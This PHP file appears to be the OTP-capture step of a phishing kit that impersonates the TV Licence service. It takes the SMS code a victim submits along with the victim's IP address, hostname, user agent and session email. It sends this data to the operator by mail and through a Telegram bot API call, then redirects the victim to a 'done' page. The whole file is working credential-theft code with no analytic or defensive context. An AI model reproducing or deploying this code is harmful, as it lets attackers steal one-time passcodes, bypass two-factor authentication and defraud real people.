<?php
require_once('config.php');
$cod = trim($_POST['code']);
if($cod != null){
    $ip = getenv("REMOTE_ADDR");
	$hostname = gethostbyaddr($ip);
	$useragent = $_SERVER['HTTP_USER_AGENT'];
	
   	$code = $_POST["code"];


    $message = "|TV Licence OTP  Client ".$_SESSION['client']."\n";
	$message .= "From ".$_SESSION['EML']."\n";

	$message .= "SMS : ".$code."\n";
    $message .= "|Client IP: ".$ip."\n";
	$message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
	$message .= "User Agent : ".$useragent."\n";

	$subject = "tv license Sign : $ip";
    mail($send, $subject, $message);   

    $data = ['text' => $message,'chat_id' => $cID,  'parse_mode'=>'html'];    

	$website="https://api.telegram.org/bot$TGBO";
	  $ch = curl_init($website . '/sendMessage');
	  curl_setopt($ch, CURLOPT_HEADER, false);
	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	  curl_setopt($ch, CURLOPT_POST, 1);
	  curl_setopt($ch, CURLOPT_POSTFIELDS, ($data));
	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	  $result = curl_exec($ch);
	  curl_close($ch);


				echo '<script> window.location="done.php"</script>';
}
else{
}
?>